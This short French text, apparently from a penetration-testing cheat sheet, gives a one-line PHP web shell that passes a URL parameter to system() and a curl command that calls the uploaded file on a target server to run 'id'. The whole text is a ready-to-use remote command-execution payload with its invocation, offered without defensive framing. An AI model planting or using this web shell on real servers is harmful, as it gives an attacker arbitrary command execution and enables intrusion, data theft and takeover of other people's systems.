Si vous pouvez uploader un fichier php sur le serveur web, le fichier ci-dessous vous permettra de lancer des commandes shell:

<?php echo 'Shell: ';system($_GET['cmd']); ?>

Lancer la commande 'id' sur le server

curl http://IPSERVER/cmd.php?cmd=id